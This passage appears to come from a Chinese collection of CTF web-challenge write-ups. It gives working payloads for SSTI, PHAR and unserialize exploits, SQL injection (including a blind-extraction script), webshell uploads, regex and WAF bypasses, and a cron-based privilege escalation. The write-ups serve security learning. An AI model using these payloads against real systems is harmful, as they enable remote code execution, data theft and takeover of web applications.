得到:

1
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

请求得到flag。

[CISCN2019 华北赛区 Day1 Web2]ikun(TODO)

[GYCTF2020]FlaskApp

#SSTI

在解密那里随便输入点东西会报错,在报错中能看到部分源码:

1
2
3
4
5
6
7
8
9
10
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)

看到render_template_string想到可能是SSTI。直接尝试用SSTI执行命令:

1
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

被WAF拦截。

尝试读源码:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
text = StringField('BASE64加密',validators= [DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密',validators= [DataRequired()])
submit = SubmitField('提交')

def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1


@app.route('/hint',methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)


@app.route('/',methods=['POST','GET'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))

else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")

@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))

else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png")


@app.route('/<name>',methods=['GET'])
def not_found(name):
return render_template("404.html",name = name)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)

可以尝试使用字符串拼接绕过WAF。列目录:

1
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

得到:

1
'bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app'

看到this_is_the_flag.txt,读一下:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %}

或用字符串反转:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

得到flag。

[CISCN2019 华北赛区 Day1 Web1]Dropbox

#PHAR #文件上传

注册以后随便上传一个图片下载,抓包后发现请求的POST内容是filename=文件名,尝试读取index和download.php:

index(filename=../../index.php):

1
2
3
4
5
6
7
<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

download(filename=../../download.php):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

delete.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

他们都include了class.php,读一下(filename=../../class.php):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}

$a = new User();
$a->db = new FileList();

$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>

请求:

1
2
POST /delete.php
filename=phar://1.png/exp.txt

得到flag。

[GKCTF2020]老八小超市儿

#漏洞利用 #弱口令

一打开就能发现这是一个现成的CMS,可以查到默认后台为admin.php,用户名admin密码shopxo成功登录后台。

先去下载一个主题,需要注意的是,现在的主题是1.8.0,我用最新的1.9.3会打不开网站,最好还是下载1.8.0的主题。在_static_文件夹下放一个马并在后台的网站管理>主题管理中上传,马的位置在:/public/static/index/default/

用蚁剑连接后在根目录下发现flag:

1
flag{this_is_fake_flag/true_flag_in_/root}

访问root目录发现没有权限。

在根目录下发现auto.sh

1
2
#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

读取/var/mail/makeflaghint.py

1
2
3
4
5
6
7
8
9
10
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

而且我们可以看到flag.hint内容为:

1
2
Wed Feb 24 08:12:54 2021
Get The RooT,The Date Is Useful!

修改一下makeflaghint.py,在f.close()前加一行:

1
f.write(io.open("/root/flag", "rb+").read())

一分钟后在flag.hint中可以看到flag。

[CISCN2019 华东南赛区]Web11

#SSTI

在网页的最下面写着:

1
Build With Smarty !

Smarty是一个PHP的模板引擎。在API Usage中也提示了X-Forwarded-For,在X-Forwarded-For处尝试SSTI:

1
{7*7}

返回49,存在SSTI。

Smarty文档中我们也可以看到一些比较有意思的变量。

读取版本:

1
{$smarty.version}

返回3.1.30。使用{include}报错,使用if执行命令得到flag:

1
2
{if readfile('/flag')}{/if} 
{if highlight_file('/flag')}{/if}

[GWCTF 2019]枯燥的抽奖(TODO)

#PHP伪随机数

在源码中发现check.php,访问获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

[BSidesCF 2019]Futurella(TODO)

直接右键查看源码就拿到了flag???

[极客大挑战 2019]RCE ME

#WAF绕过

给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
if (isset($_GET['code'])) {
$code = $_GET['code'];
if (strlen($code) > 40) {
die("This is too Long.");
}
if (preg_match("/[A-Za-z0-9]+/", $code)) {
die("NO.");
}
@eval($code);
} else {
highlight_file(__FILE__);
}

code不能有字母数字,要在40个字符内完成RCE。可以用过异或或者取反等方法绕过:

1
2
3
php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90
请求:/?code=(~%8F%97%8F%96%91%99%90)();

构造payload:

1
2
3
4
5
6
<?php
$a='assert';
$b='(eval($_POST["pass"]))';
echo urlencode(~$a);
echo '@';
echo urlencode(~$b);

用蚁剑连接

1
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8F%9E%8C%8C%DD%A2%D6%D6);

但是发现并不能读flag。在disable_functions中禁用了大多数的函数,需要绕过。

使用了蚁剑的绕过disable functions插件,PHP_GC_WAF模式,调用根目录下的readflag文件得到flag。

[WUSTCTF2020]颜值成绩查询(TODO)

#SQL注入

[MRCTF2020]套娃

#WAF绕过

源码能看到代码:

1
2
3
4
5
6
7
8
9
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

第一个if可以用%20替换_来绕过,第二个可以在结尾加一个%0a换行绕过。

1
/?b%20u%20p%20t=23333%0a

得到:

1
FLAG is in secrettw.php

页面上写:

1
2
Flag is here~But how to get it?Local access only!
Sorry,you don't have permission! Your ip is :sorry,this way is banned!

在源码中看到jsfuck,直接在控制台里运行,弹窗:

1
post me Merak

随便POST一个Merak=1后返回源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

ip可以用请求头Client-Ip: 127.0.0.1绕过

2333可以用php://inputdata:text/plain绕过

1
2
3
4
5
/secrettw.php?2333=data:text/plain,todat is a happy day

GET /secrettw.php?2333=php://input
POST:
todat is a happy day

change函数,写个反向加密的函数:

1
2
3
4
5
6
import base64
file='flag.php'
new=''
for i in range(len(file)):
new=new+chr(ord(file[i])-i*2)
print(base64.b64encode(new.encode('utf-8')))

得到:ZmpdYSZmXGI=,最后payload:

1
2
3
GET /secrettw.php?2333=php://input&file=ZmpdYSZmXGI=
POST:
todat is a happy day

得到flag。

[BSidesCF 2019]Kookie

#HTTP协议

提示:

1
2
Log in as admin!
We found the account cookie / monster

在cookie里加上:

1
username=admin

即可得到flag。

[FBCTF2019]RCEService

#WAF绕过

可以使用换行绕过限制。

看下能用的命令:

1
/?cmd={%0a"cmd":"ls /bin"%0a}

得到:

1
bash bunzip2 bzcat bzcmp bzdiff bzegrep bzexe bzfgrep bzgrep bzip2 bzip2recover bzless bzmore cat chgrp chmod chown cp dash date dd df dir dmesg dnsdomainname domainname echo egrep false fgrep findmnt grep gunzip gzexe gzip hostname kill ln login ls lsblk mkdir mknod mktemp more mount mountpoint mv nisdomainname pidof ps pwd rbash readlink rm rmdir run-parts sed sh sleep stty su sync tar tempfile touch true umount uname uncompress vdir wdctl which ypdomainname zcat zcmp zdiff zegrep zfgrep zforce zgrep zless zmore znew

读一下源码:

1
/?cmd={%0a"cmd":"/bin/cat index.php"%0a}

得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

命令只能用绝对路径,而且正则只匹配了一行可以用换行绕过。

ls一下/home/rceservice/看到flag,读取flag:

1
/?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

[CISCN2019 总决赛 Day2 Web1]Easyweb

#源码泄露 #SQL注入

发现有robots.txt,内容如下:

1
2
User-agent: *
Disallow: *.php.bak

可以发现图片也是一个php,成功下载到image.php.bak:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

可以看到id和path参数过滤了单引号,\0以及用addslashes进行了转义。

使用\0'绕过并闭合单引号,payload:?id=\0'&path= or 1=1;--+

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time
name=''
url_h="http://436ab404-d8ec-416d-816d-5013025b4596.node3.buuoj.cn/image.php?id=\\0'&path= "
pl="or ascii(substr((select password from users),{0},1))>{1};--+"
for j in range(1,21):
l = 32
h = 127
while abs(l-h)>1:
i=int((l+h)/2)
payload=pl.format(j,i)
url=url_h+payload
r = requests.get(url)
time.sleep(0.005)
if r.status_code=='429':
print('to fast')
if not 'Content-Length' in r.headers:
l = i
else:
h = i
name += chr(h)
print(name)

用户名:admin,密码:97d0d48e316a13307cce 成功登录。

在文件上传页上传php提示不能上传,上传普通文件成功。

发现返回了一个log.php的文件。访问可以看到刚刚上传的所有文件名。尝试在文件名写马。

但是<?php不能上传,可以用<?=绕过。上传后连接刚刚的log文件即可在根目录找到flag。

[Zer0pts2020]Can you guess it?

#PHP特性

题目给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>

看到在最上面正则和highlight_file那里有一个$_SERVER['PHP_SELF']basename

https://www.php.net/manual/zh/reserved.variables.server.php

‘PHP_SELF’

当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /foo/bar.php。FILE 常量包含当前(例如包含)文件的完整路径和文件名。 如果 PHP 以命令行模式运行,这个变量将包含脚本名。

https://www.php.net/manual/zh/function.basename

basename — 返回路径中的文件名部分

如果传入/index.php/config.php/,则$_SERVER['PHP_SELF']返回/index.php/config.php/basename($_SERVER['PHP_SELF'])返回config.php

/index.php/config.php/运行的是index.php,但是basename()获取到的是config.php

正常我们可以/index.php/config.php?source读取,但是因为存在正则/config\.php\/*$/i来限制URL结尾出现config.php,返回空。

https://bugs.php.net/bug.php?id=62119我们可以看到`basename()`会去掉文件名开头的非ASCII值,ASCII范围是0-127,传入128及以上即可绕过正则。不过也可以用emoji或者汉字之类的Unicode也可以绕过。

payload:

1
http://3e24c642-f70a-4944-ba1c-c546717b0eb3.node3.buuoj.cn/index.php/config.php/%F0%9F%98%80?source

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

#SQL注入

在首页源码中看到<!--?file=?-->

尝试使用伪协议读取源码:

/?file=php://filter/convert.base64-encode/resource=index.php

index:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
...

类似的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# search.php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
...
#change.php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
...
#delete.php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
...

可以看到,在change.php中的address过滤不严,只有一个addslashes函数转义。

1
2
3
4
5
6
7
8
9
10
11
12
13
$address = addslashes($_POST["address"]);
...
if (isset($fetch) && $fetch->num_rows>0) {
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
}

更新时还会再将旧的地址取出来会引发二次注入。

使用updatexml进行报错注入,由于长度限制,需要将flag拆为两部分:

1
2
3
4
payload1:
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
payload2:
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),21,50)),0x7e),1)#

在提交订单处的地址填入payload1,然后再修改地址,修改地址会报错爆出第一段flag。然后删除订单后重复之前的操作,填入payload2拼接得到完整flag。

[网鼎杯 2018]Comment (TODO)

#

0%